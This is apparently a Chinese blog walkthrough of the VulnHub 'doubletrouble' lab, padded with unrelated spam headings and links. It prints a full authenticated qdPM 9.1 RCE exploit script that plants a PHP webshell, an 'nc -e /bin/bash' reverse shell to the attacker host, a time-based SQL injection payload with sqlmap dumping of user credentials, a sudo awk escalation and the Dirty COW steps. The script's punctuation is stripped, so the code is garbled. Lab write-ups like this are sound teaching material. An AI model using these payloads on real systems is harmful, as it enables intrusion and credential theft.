当前位置: 首页 > news >正文

建设一个中英文双版的网站网站怎么加统计代码

建设一个中英文双版的网站,网站怎么加统计代码,福州网站建设 找燕狂徒 04,广东建设信息网行业版靶机#xff1a; https://www.vulnhub.com/entry/doubletrouble-1,743/ 难度#xff1a; 中 目标#xff1a; 取得两台靶机 root 权限 涉及攻击方法#xff1a; 主机发现端口扫描Web信息收集开源CMS漏洞利用隐写术密码爆破GTFObins提权SQL盲注脏牛提权 学习记录 https://www.vulnhub.com/entry/doubletrouble-1,743/ 难度 中 目标 取得两台靶机 root 权限 涉及攻击方法 主机发现端口扫描Web信息收集开源CMS漏洞利用隐写术密码爆破GTFObins提权SQL盲注脏牛提权 学习记录nc nc命令用来传文件在很多时候传大文件的时候往往比用python来启用HTTP服务来传输的效果更好而且nc几乎在所有的Linux系统中都默认存在不但可以用来进行反弹shell操作还可以用来传输文件 主机发现 arp-scan -l 端口扫描和服务发现 nmap -p- 192.168.0.103 nmap -p22,80 -sV -sC 192.168.0.103 qdPM是一个开源、免费基于Web的项目管理工具其实也就是一个cms系统“CMSContent Management System内容管理系统是一种用于创建、管理和修改数字内容的软件应用程序。CMS系统广泛用于网站建设和内容管理允许用户无需编写代码即可创建和管理网站内容。” 查看release notes可能会告诉我们它在新版本当中修复了哪些漏洞然后又增加了哪些新功能这样就会帮助我们去找到攻击渗透的入口点。 发现有一个/install路径和/core/cache/qdPM/路径 /core/cache/qdPM/路径只能查看到文件名称无法看到源码 这里有一个token234sAFE425SDFAf2ljlkasdhfiwugb2563h2g4jA收集记录下来 searchsploit qdpm搜索漏洞库发现9.1版本有RCE远程代码执行漏洞 把它们复制到当前目录里查看 发现是同一个CVE漏洞编码只是使用的Python版本不一样并且是需要登录之后Authenticated才能够利用成功的网上搜索这个Web应用程序的默认的账号密码去登录也失败了 sudo dirsearch -u http://192.168.0.103/搜索目录发现一个/secret/路径有一张图片 steghide info doubletrouble.jpg查看图片发现能容下4.7K的隐写数据但是需要密码。 stegseek --crack doubletrouble.jpg rockyou.txt一秒钟破解出密码92camaro stegseek --crack doubletrouble.jpg rockyou.txt -xf file将隐写内容提取出来并命名为file查看file文件获得账号密码otisrushlocalhost.comotis666 用这个账号密码成功登录Web应用的后台那么我们就可以利用刚刚的两个python脚本来进行漏洞的利用了。 mousepad 50175.py编辑一下这个文件里面的很多处的代码缩进有问题需要手动修改一下 修改好之后的代码应该是这样的 # Exploit Title: qdPM 9.1 - Remote Code Execution (RCE) (Authenticated) # Google Dork: intitle:qdPM 9.1. Copyright © 2020 qdpm.net # Date: 2021-08-03 # Original Exploit Author: Rishal Dwivedi (Loginsoft) # Original ExploitDB ID: 47954 # Exploit Author: Leon Trappett (thepcn3rd) # Vendor Homepage: http://qdpm.net/ # Software Link: http://qdpm.net/download-qdpm-free-project-management # Version: 1.9.1 # Tested on: Ubuntu Server 20.04 (Python 3.9.2) # CVE : CVE-2020-7246 # Exploit written in Python 3.9.2 # Tested Environment - Ubuntu Server 20.04 LTS # Path Traversal Remote Code Execution#!/usr/bin/python3import sys import requests from lxml import html from argparse import ArgumentParsersession_requests requests.session()def multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, uservar):request_1 {sf_method: (None, put),users[id]: (None, userid[-1]),users[photo_preview]: (None, uservar),users[_csrf_token]: (None, csrftoken_[-1]),users[name]: (None, username[-1]),users[new_password]: (None, ),users[email]: (None, EMAIL),extra_fields[9]: (None, ),users[remove_photo]: (None, 1),}return request_1def req(userid, username, csrftoken_, EMAIL, HOSTNAME):request_1 multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, .htaccess)new session_requests.post(HOSTNAME index.php/myAccount/update, filesrequest_1)request_2 multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, ../.htaccess)new1 session_requests.post(HOSTNAME index.php/myAccount/update, filesrequest_2)request_3 {sf_method: (None, put),users[id]: (None, userid[-1]),users[photo_preview]: (None, ),users[_csrf_token]: (None, csrftoken_[-1]),users[name]: (None, username[-1]),users[new_password]: (None, ),users[email]: (None, EMAIL),extra_fields[9]: (None, ),users[photo]: (backdoor.php,?php if(isset($_REQUEST[\cmd\])){ echo pre; $cmd ($_REQUEST[\cmd\]); system($cmd); echo /pre; die; }?, application/octet-stream),}upload_req session_requests.post(HOSTNAME index.php/myAccount/update, filesrequest_3)def main(HOSTNAME, EMAIL, PASSWORD):url HOSTNAME /index.php/loginresult session_requests.get(url)#print(result.text)login_tree html.fromstring(result.text)authenticity_token list(set(login_tree.xpath(//input[namelogin[_csrf_token]]/value)))[0]payload {login[email]: EMAIL, login[password]: PASSWORD, login[_csrf_token]: authenticity_token}result session_requests.post(HOSTNAME /index.php/login, datapayload, headersdict(refererHOSTNAME /index.php/login))# The designated admin account does not have a myAccount pageaccount_page session_requests.get(HOSTNAME index.php/myAccount)account_tree html.fromstring(account_page.content)userid account_tree.xpath(//input[nameusers[id]]/value)username account_tree.xpath(//input[nameusers[name]]/value)csrftoken_ account_tree.xpath(//input[nameusers[_csrf_token]]/value)req(userid, username, csrftoken_, EMAIL, HOSTNAME)get_file session_requests.get(HOSTNAME index.php/myAccount)final_tree html.fromstring(get_file.content)backdoor final_tree.xpath(//input[nameusers[photo_preview]]/value)print(Backdoor uploaded at - HOSTNAME /uploads/users/ backdoor[-1] ?cmdwhoami)if __name__ __main__:print(You are not able to use the designated admin account because they do not have a myAccount page.\n)parser ArgumentParser(descriptionqdmp - Path traversal RCE Exploit)parser.add_argument(-url, --host, desthostname, helpProject URL)parser.add_argument(-u, --email, destemail, helpUser email (Any privilege account))parser.add_argument(-p, --password, destpassword, helpUser password)args parser.parse_args()# Added detection if the arguments are passed and populated, if not display the argumentsif (len(sys.argv) 1 and isinstance(args.hostname, str) and isinstance(args.email, str) and isinstance(args.password, str)):main(args.hostname, args.email, args.password)else:parser.print_help()python3 50175.py可以正常运行了那么给它加上参数来使用 python3 50175.py -url http://192.168.0.103/ -u otisrushlocalhost.com -p otis666成功创建了一个后门文件上传了一个Webshell 成功的任意命令执行 反弹shell ?cmdwhich nc发现存在nc命令 ?cmdnc -e /bin/bash 192.168.0.101 4444反弹shell python3 -c import pty;pty.spawn(/bin/bash)升级一下shell 提权 sudo -l https://gtfobins.github.io/gtfobins/awk/#sudo可以用Gtfobins来提权 sudo awk BEGIN {system(/bin/bash)}幸福来得太突然成功获取root权限 在/root目录发现第二个ova格式的文件那需要把它下载下来再导入VirtualBox当中 学习记录nc nc命令用来传文件在很多时候传大文件的时候往往比用python来启用HTTP服务来传输的效果更好而且nc几乎在所有的Linux系统中都默认存在不但可以用来进行反弹shell操作还可以用来传输文件 nc -lvnp 4444 second.ova首先在kali启动侦听准备接收文件 然后在靶机nc 192.168.0.101 4444 doubletrouble.ova -w 1传输文件-w 1参数的意思是当文件传输完毕之后隔一秒钟就断开连接 md5sum second.ova传输完成之后检查md5是否一致一致就说明文件没有经过任何修改 那么接下来就把它导入到VirtualBox当中去 第二次主机发现 sudo arp-scan -l发现它的IP地址192.168.0.104 第二次端口扫描和服务发现 sudo nmap -p- 192.168.0.104 sudo nmap -p22,80 -sV -sC 192.168.0.104 首先对80端口发起攻击发现页面挺简单的一个登录框 万能密码无法绕过来进行登录源码也没有有价值的信息 sudo dirsearch -u http://192.168.0.104/尝试进行目录扫描发现有/cgi-bin/ 然后sudo dirsearch -u http://192.168.0.104/cgi-bin/ -f -e cgi,sh对这个目录进行扫描看看有没有破壳漏洞但是一无所获 那还是把目光放到唯一的登录页面上去吧启动BurpSuite在登录的时候抓包 SQL盲注时间盲注 输入payloaduname AND(SELECT x FROM (SELECT (SLEEP(10)))XZ)# 这段代码实际上是一个SQL注入SQL Injection的payload用于测试或利用数据库查询的漏洞。具体来说这是一个时间盲注Time-based Blind SQL Injection的示例。在这种注入类型中攻击者通过使数据库服务器延迟响应来推断出有关数据库的信息。 代码解析 AND(SELECT x FROM (SELECT (SLEEP(10)))XZ)#让我们逐步分解这一段代码 **起始单引号 ****** 这一部分通常是用来结束原本的SQL语句的字符串部分的。例如如果原SQL查询是 SELECT * FROM users WHERE username admin AND password password注入攻击会这样插入单引号使其变成 SELECT * FROM users WHERE username admin AND password AND(SELECT x FROM (SELECT (SLEEP(10)))XZ)#AND 这个逻辑运算符用来添加一个新的条件到原本的SQL查询中。 (SELECT x FROM (SELECT (SLEEP(10)))XZ) 这是一个子查询。让我们进一步分解 (SELECT (SLEEP(10))) 这部分是一个内嵌子查询。SLEEP(10)是一个数据库函数通常用于让数据库服务器暂停执行10秒。这个函数在MySQL和一些其他数据库中都有类似的功能。 (SELECT x FROM … XZ) 这个外层的SELECT语句尝试从内嵌子查询的结果中选择一个字段x并将结果命名为XZ。 # 这是SQL中的注释符号表示后面的内容都是注释不会被执行。这可以帮助攻击者忽略掉后面的代码防止引起语法错误。 最终结果 将这段注入代码插入到原来的查询中例如 SELECT * FROM users WHERE username admin AND password AND(SELECT x FROM (SELECT (SLEEP(10)))XZ)#这会导致数据库服务器执行如下操作 查询用户表users查找用户名为’admin’且密码为空的记录。同时执行子查询 (SELECT x FROM (SELECT (SLEEP(10)))XZ)。由于 SLEEP(10) 函数的存在数据库服务器会暂停执行10秒。如果数据库服务器响应时间的延迟符合预期攻击者可以推断出注入点是可行的。 应用情境 这种时间盲注技术通常用于 确认注入点通过观察响应时间的延迟攻击者可以确认注入点是否存在。提取数据在更复杂的情况下攻击者可以通过多次注入、观察响应时间逐步提取出数据库中的敏感信息。 发现服务器确实10s之后才响应说明SLEEP(10)函数被数据库给执行了这样就可以基于这个时间去尝试问服务器说你的当前数据库的名称的第一个字母是不是a是不是b是不是c…挨个字符来进行探测经过大量的同步的探测就可以在指定的时间范围之内把目标系统所有的数据库的信息等等其他的库名表名等内容全都给它榨取提取出来。 把相同的payload放到psw里也是一样的延迟几秒才响应。 psw AND(SELECT x FROM (SELECT (SLEEP(5)))XZ)# 把前面的数据包保存为1.txt让sqlmap去跑 跑出来是mysql数据库了 接下来爆库sqlmap -r 1.txt -p uname --dbms mysql --dbs **-p uname** 指定注入点参数。在这个例子中uname 是要测试SQL注入漏洞的参数。例如如果HTTP请求包含unameadminsqlmap 将尝试在这个参数的位置进行SQL注入。 **--dbms mysql** 明确指定目标数据库管理系统为MySQL。这可以帮助sqlmap优化注入测试因为不同的DBMS有不同的SQL语法和功能。 **--dbs** 命令sqlmap列出目标数据库管理系统中的所有数据库。这个选项用于在确认存在SQL注入漏洞后枚举数据库。 发现两个数据库doubletrouble和information_schema 接下来爆表sqlmap -r 1.txt -p uname --dbms mysql -D doubletrouble --tables 发现一个表users 接下来爆列名sqlmap -r 1.txt -p uname --dbms mysql -D doubletrouble -T users --columns 发现passwordusername这两列 那我们不管了直接dump下来 sqlmap -r 1.txt -p uname --dbms mysql -D doubletrouble -T users --dump 获得两对账号密码 montreuxGfsZxc1ZubZub99clapton 用这些个账号密码登录Web页面失败但是想起前面信息收集端口扫描的时候发现22端口是开放的管理员可能会对账号密码进行复用 ssh clapton192.168.0.104登录使用密码ZubZub99成功登录 提权脏牛漏洞 uname -a发现内核版本是3.2.0 利用nc把exp传输过去 gcc -pthread exp.c -o exp -lcrypt在靶机生成一个exp可执行文件 命令解析 **gcc** GNU编译器集合GNU Compiler Collection。这是用于编译C和C代码的编译器。 **-pthread** 这个选项告诉编译器使用POSIX线程库pthread。这是线程编程时常用的库允许程序创建和控制多个线程。 **exp.c** 源代码文件名。这个文件包含了C语言编写的代码。 **-o exp** 指定输出文件名为 exp。编译后的可执行文件将被命名为 exp。如果没有这个选项默认输出文件名为 a.out。 **-lcrypt** 这个选项告诉编译器链接crypt库。crypt是一个用于加密的库通常用于处理密码加密和解密。在一些系统中它可能是libcrypt.so或libcrypt.a。 chmod x exp赋予可执行权限 ./exp pass设置密码为pass 根据脏牛漏洞的利用代码一旦我们执行./exp pass它就会使用一个叫firefart的账号来替换目标操作系统的root账号并拥有root账号的uidgid以及所有的权限然后会自动备份一下当前操作系统的/etc/passwd文件到/tmp/passwd.bak如下图所示。 ssh firefart192.168.0.104登录目标系统 如果是一次护网比赛或者是一次授权的渗透项目的话推荐将/tmp目录下已经备份的passwd.bak这个文件给它重新覆盖回原来的/etc/passwd文件这样做的目的是还原操作系统原来就拥有的其它那些账号以及原来的root账号本身。 cp /tmp/passwd.bak /etc/passwd拷贝回来之后 passwd重新设置root账号的密码为123456 退出出来之后下一次我就可以不再需要重复的去激活触发它的脏牛漏洞而是直接使用root账号来进行登录 ssh root192.168.0.104 查看/root目录下的文件logdel2看起来是一个日志清理的脚本我们不关心它。 查看root.txt这个flag文件打靶完毕 完毕
http://www.laogonggong.com/news/122020.html

相关文章:

  • python如何建网站建设wordpress广告管理
  • 微信手机网站app制作wordpress那种路径格式容易收录
  • 自己做的网站能放到网上么hexo 导入wordpress
  • 重庆网站查询一个空间 多个网站
  • 自己怎么给网站做优化成都科技网站建设咨
  • 含山县建设局网站电子商务网站平台建设方案
  • wordpress+企业站模版手机创建自己网站
  • 做网站销售的换工作凡客诚品现状2022
  • 公司网站注册要多少钱晋江市规划局建设网站
  • 移动论坛网站模板免费下载开发公司补偿物业公司物业费协议
  • 建立网站成本最低wordpress 缩放大小 设置
  • 常州网站建设市场h5企业网站只做
  • g时代网站建设python编程课哪个机构最好
  • 中国建筑官网一测二测成绩多少算及格seo引擎优化
  • sq网站推广交换机可以做网站跳转吗
  • 有关于做茗茶的网站简单干净的网站
  • 兴宁网站设计河南优化公司
  • 长沙网站优化方式公司建设网站费用直接列支
  • 酒店网站程序宁波seo排名费用
  • 网站开发对企业有什么用h5是什么意思游戏
  • 怎么做自己网站里的资讯建外做网站的公司
  • 站长全网指数查询佛山seo网站
  • 有教做衣服的网站吗做网站开发学什么语言
  • 岳阳网站定制手机上做网站
  • 小门户网站开发c++可视化界面设计
  • 抚州专业的企业网站建设公司百度推广和百度竞价有什么区别
  • 西安做百度网站公司律师事务所网站方案
  • 广东专业网站定制软件开发学什么专业好
  • wordpress stop国外网站谷歌seo推广
  • 一条龙建站多少钱如何注册一个域名